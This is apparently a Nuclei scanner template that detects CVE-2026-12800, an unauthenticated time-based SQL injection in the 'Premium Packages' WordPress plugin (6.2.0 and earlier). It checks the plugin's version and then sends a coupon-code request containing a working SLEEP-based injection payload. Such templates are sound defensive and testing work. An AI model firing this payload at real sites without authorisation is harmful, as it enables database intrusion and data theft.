id: CVE-2026-12800 info: name: Premium Packages – Sell Digital Products Securely - SQL Injection author: HaroonArshad-53 severity: high description: | Premium Packages – Sell Digital Products Securely WordPress plugin <= 6.2.0 contains a SQL injection caused by insufficient escaping of 'code' parameter in CouponCodes::find() method, letting unauthenticated attackers extract sensitive database information via crafted SQL queries. impact: | Unauthenticated attackers can extract sensitive database information, potentially compromising user data and site integrity. remediation: | Update to the latest version beyond 6.2.0. reference: - https://ekofyi.com/blog/cve-2026-12800-premium-packages-sql-injection - https://wordpress.org/plugins/wpdm-premium-packages/ - https://nvd.nist.gov/vuln/detail/CVE-2026-12800 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-12800 epss-score: 0.01588 epss-percentile: 0.75628 cwe-id: CWE-89 metadata: verified: true max-request: 1 product: wpdm-premium-packages tags: cve,cve2026,wordpress,wp-plugin,wpdm-premium-packages,sqli,time-based,unauth flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wpdm-premium-packages/readme.txt" matchers: - type: dsl dsl: - "status_code == 200" - compare_versions(version, '<= 6.2.0') condition: and internal: true extractors: - type: regex part: body name: version group: 1 regex: - 'Stable tag: ([0-9.]+)' internal: true - raw: - | POST /wp-json/wpdmpp/v1/cart/coupon HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"code":"zznone' OR (SELECT SLEEP(5)) AND '1'='1"} matchers-condition: and matchers: - type: word part: body case-insensitive: true words: - "coupon" - type: dsl dsl: - "duration>=5" # digest: 4b0a00483046022100f229ec3c6d4f3281a1ae3e577f4780d31f15419aea17aaedb617fd03ed09e59102210088e8dc9980bcf8760bcd4a3871f7219584b27b3c5381517f02b9adf764e15ca4:922c64590222798bb761d5b6d8e72950